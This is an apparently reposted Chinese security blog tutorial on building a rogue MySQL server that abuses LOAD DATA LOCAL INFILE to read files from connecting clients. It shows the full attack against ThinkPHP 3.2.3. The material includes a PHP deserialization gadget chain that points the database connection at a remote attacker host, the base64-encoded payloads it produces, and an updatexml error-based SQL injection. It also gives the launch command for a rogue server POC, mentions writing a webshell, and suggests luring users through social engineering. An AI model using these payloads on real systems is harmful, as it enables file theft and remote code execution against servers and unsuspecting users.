【网络安全】如何搭建MySQL恶意服务器读取文件?
前言
注:本文不涉及對MySQL協議報文研究,僅講解原理,并且做部分演示。
搭建MySQL惡意服務器讀取文件這件事,雖然直接利用門檻較高,但是由于在網上看到了一種比較新穎的利用方式(利用社會工程學引誘用戶連接MySQL進而讀取用戶文件),個人覺得比較有意思,總結了一下攻擊原理以及攻擊方式,因此就有了這篇文章。
原理
在闡述具體原理之前,先介紹幾個SQL語句,以便后文理解
首先在tmp目錄下新建一個tmp.txt
內容如下:
然后執行下方SQL語句,即可將tmp.txt文件導入其中:
mysql> load data local infile "/tmp/tmp.txt" into table test fields terminated by '\n'; Query OK, 3 rows affected (2.63 sec) Records: 3 Deleted: 0 Skipped: 0 Warnings: 0 ? mysql> select * from Test; +-------+ | name | +-------+ | admin | | user | | Lxxx | +-------+ 3 rows in set (0.00 sec)- load data local infile語句會讀取客戶端本地的文件
- load data infile語句會讀取服務端本地的文件
- terminated by表示以某某字符分割,默認為Tab,這里我設置為了\n
這個時候可能就會繞不清楚,什么是服務端,什么是客戶端?
因為一般情況下,調試SQL都是在本機,并且數據庫也在本機,這樣的情況就導致,客戶端和服務端都是在本地,有點難區分,下面我用一張圖來簡述。
在本地,由于客戶端和服務端都是在同一個磁盤下,因此,在本地,無論是否加local都是可以將文件傳入數據庫的,而后面講到利用MySQL惡意服務器讀取文件的漏洞,就是需要使用local,來達到將文件帶出的目的。
【查看相關資料文檔】
1、網絡安全學習路線
2、電子書籍(白帽子)
3、安全大廠內部視頻
4、100份src文檔
5、常見安全面試題
6、ctf大賽經典題目解析
7、全套工具包
8、應急響應筆記
下面我畫了兩張圖,第一張圖是正常業務流程,第二張圖是攻擊者惡意攻擊的流程。
正常的后端業務流程如下:
當攻擊者劫持后端服務器,并且在公網中搭建惡意的MySQL后,流程圖如下:
這樣攻擊者就可以在后端達到任意文件下載的目的。
演示
雖說在之前的某個CTF比賽出過類似的題目,但是我這里還是使用ThinkPHP3.2.3存在的反序列化漏洞,結合MySQL惡意服務器讀取敏感文件,進而RCE的樣例。
首先在本地先啟動一個ThinkPHP3.2.3的框架,連接好數據庫,在Application/Home/Controller/HelloController.class.php控制器中寫一個反序列化入口。
<?php namespace Home\Controller; ? use Think\Controller; ? class HelloController extends Controller { public function index($Lxxx){ echo base64_decode($Lxxx); $a = unserialize(base64_decode($Lxxx)); } }具體的鏈子,我就不跟了,網上也有很多,雖然鏈子具體的方法不跟進,但是我還是需要介紹一下這條鏈子能起到一個什么作用。
這里我就直接將鏈子放出來,然后演示一下如何搭建一個惡意的MySQL數據庫,獲取敏感文件,進而getshell。
<?php namespace Think\Db\Driver{ use PDO; class Mysql{ protected $options = array( PDO::MYSQL_ATTR_LOCAL_INFILE => true // 開啟才能讀取文件 ); protected $config = array( "debug" => 1, "database" => "tp323", "hostname" => "127.0.0.1", "hostport" => "8889", "charset" => "utf8", "username" => "root", "password" => "root" ); } } ? namespace Think\Image\Driver{ use Think\Session\Driver\Memcache; class Imagick{ private $img; ? public function __construct(){ $this->img = new Memcache(); } } } ? namespace Think\Session\Driver{ use Think\Model; class Memcache{ protected $handle; ? public function __construct(){ $this->handle = new Model(); } } } ? namespace Think{ use Think\Db\Driver\Mysql; class Model{ protected $options = array(); protected $pk; protected $data = array(); protected $db = null; ? public function __construct(){ $this->db = new Mysql(); $this->options['where'] = ''; $this->pk = 'id'; $this->data[$this->pk] = array( "table" => "tp_user where 1=updatexml(1,concat(0x7e,version(),0x7e),1)#", "where" => "1=1" ); } } } ? namespace { echo base64_encode(serialize(new Think\Image\Driver\Imagick())); } ?上方鏈子中的數據庫信息為我本地的數據庫信息,執行該文件后,得到序列化字符串如下:
TzoyNjoiVGhpbmtcSW1hZ2VcRHJpdmVyXEltYWdpY2siOjE6e3M6MzE6IgBUaGlua1xJbWFnZVxEcml2ZXJcSW1hZ2ljawBpbWciO086Mjk6IlRoaW5rXFNlc3Npb25cRHJpdmVyXE1lbWNhY2hlIjoxOntzOjk6IgAqAGhhbmRsZSI7TzoxMToiVGhpbmtcTW9kZWwiOjQ6e3M6MTA6IgAqAG9wdGlvbnMiO2E6MTp7czo1OiJ3aGVyZSI7czowOiIiO31zOjU6IgAqAHBrIjtzOjI6ImlkIjtzOjc6IgAqAGRhdGEiO2E6MTp7czoyOiJpZCI7YToyOntzOjU6InRhYmxlIjtzOjU5OiJ0cF91c2VyIHdoZXJlIDE9dXBkYXRleG1sKDEsY29uY2F0KDB4N2UsdmVyc2lvbigpLDB4N2UpLDEpIyI7czo1OiJ3aGVyZSI7czozOiIxPTEiO319czo1OiIAKgBkYiI7TzoyMToiVGhpbmtcRGJcRHJpdmVyXE15c3FsIjoyOntzOjEwOiIAKgBvcHRpb25zIjthOjE6e2k6MTAwMTtiOjE7fXM6OToiACoAY29uZmlnIjthOjc6e3M6NToiZGVidWciO2k6MTtzOjg6ImRhdGFiYXNlIjtzOjU6InRwMzIzIjtzOjg6Imhvc3RuYW1lIjtzOjk6IjEyNy4wLjAuMSI7czo4OiJob3N0cG9ydCI7czo0OiI4ODg5IjtzOjc6ImNoYXJzZXQiO3M6NDoidXRmOCI7czo4OiJ1c2VybmFtZSI7czo0OiJyb290IjtzOjg6InBhc3N3b3JkIjtzOjQ6InJvb3QiO319fX19傳給url
可以看到報錯注入成功。
然后,在公網上搭建一個惡意的MySQL服務,這個腳本在Github中已經有前輩寫好了,具體原理就是分析相關的MySQL報文,然后與后端服務器創建惡意連接,并且獲得自己想要的文件。
下載好POC之后,修改一下要讀取的文件名。
然后利用Python啟動,啟動完成后,惡意的MySQL就在監聽3307端口。
python rogue_mysql_server.py接下來修改之前的鏈子,把IP和端口修改為遠程惡意的MySQL地址,然后生成鏈子。
<?php namespace Think\Db\Driver{ use PDO; class Mysql{ protected $options = array( PDO::MYSQL_ATTR_LOCAL_INFILE => true // 開啟才能讀取文件 ); protected $config = array( "debug" => 1, "database" => "tp323", "hostname" => "1.1.1.1", "hostport" => "3307", "charset" => "utf8", "username" => "root", "password" => "root" ); } } ? namespace Think\Image\Driver{ use Think\Session\Driver\Memcache; class Imagick{ private $img; ? public function __construct(){ $this->img = new Memcache(); } } } ? namespace Think\Session\Driver{ use Think\Model; class Memcache{ protected $handle; ? public function __construct(){ $this->handle = new Model(); } } } ? namespace Think{ use Think\Db\Driver\Mysql; class Model{ protected $options = array(); protected $pk; protected $data = array(); protected $db = null; ? public function __construct(){ $this->db = new Mysql(); $this->options['where'] = ''; $this->pk = 'id'; $this->data[$this->pk] = array( "table" => "tp_user where 1=updatexml(1,concat(0x7e,version(),0x7e),1)#", "where" => "1=1" ); } } } ? namespace { echo base64_encode(serialize(new Think\Image\Driver\Imagick())); }得到:
TzoyNjoiVGhpbmtcSW1hZ2VcRHJpdmVyXEltYWdpY2siOjE6e3M6MzE6IgBUaGlua1xJbWFnZVxEcml2ZXJcSW1hZ2ljawBpbWciO086Mjk6IlRoaW5rXFNlc3Npb25cRHJpdmVyXE1lbWNhY2hlIjoxOntzOjk6IgAqAGhhbmRsZSI7TzoxMToiVGhpbmtcTW9kZWwiOjQ6e3M6MTA6IgAqAG9wdGlvbnMiO2E6MTp7czo1OiJ3aGVyZSI7czowOiIiO31zOjU6IgAqAHBrIjtzOjI6ImlkIjtzOjc6IgAqAGRhdGEiO2E6MTp7czoyOiJpZCI7YToyOntzOjU6InRhYmxlIjtzOjU5OiJ0cF91c2VyIHdoZXJlIDE9dXBkYXRleG1sKDEsY29uY2F0KDB4N2UsdmVyc2lvbigpLDB4N2UpLDEpIyI7czo1OiJ3aGVyZSI7czozOiIxPTEiO319czo1OiIAKgBkYiI7TzoyMToiVGhpbmtcRGJcRHJpdmVyXE15c3FsIjoyOntzOjEwOiIAKgBvcHRpb25zIjthOjE6e2k6MTAwMTtiOjE7fXM6OToiACoAY29uZmlnIjthOjc6e3M6NToiZGVidWciO2k6MTtzOjg6ImRhdGFiYXNlIjtzOjU6InRwMzIzIjtzOjg6Imhvc3RuYW1lIjtzOjc6IjEuMS4xLjEiO3M6ODoiaG9zdHBvcnQiO3M6NDoiMzMwNyI7czo3OiJjaGFyc2V0IjtzOjQ6InV0ZjgiO3M6ODoidXNlcm5hbWUiO3M6NDoicm9vdCI7czo4OiJwYXNzd29yZCI7czo0OiJyb290Ijt9fX19fQ==傳給HomeController控制器,
然后就可以在遠程VPS中的mysql.log得到之前需要惡意下載的文件。
現在得到了相關數據庫信息,然后就可以再次構造鏈子,利用堆疊注入寫入一句話木馬getshell了。
使用場景
- 能劫持后端服務器,但無法getshell的時候,可以采用這個方法getshell(例如ThinkPHP3.2.3的利用鏈只能到數據庫層,則可以通過這個方法getshell);
- 能引誘用戶連接惡意MySQL(社會工程學)。
總結
以上是生活随笔為你收集整理的【网络安全】如何搭建MySQL恶意服务器读取文件?的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 一次SSH爆破攻击haiduc工具的应急
- 下一篇: [VNCFT2021]gocalc0复现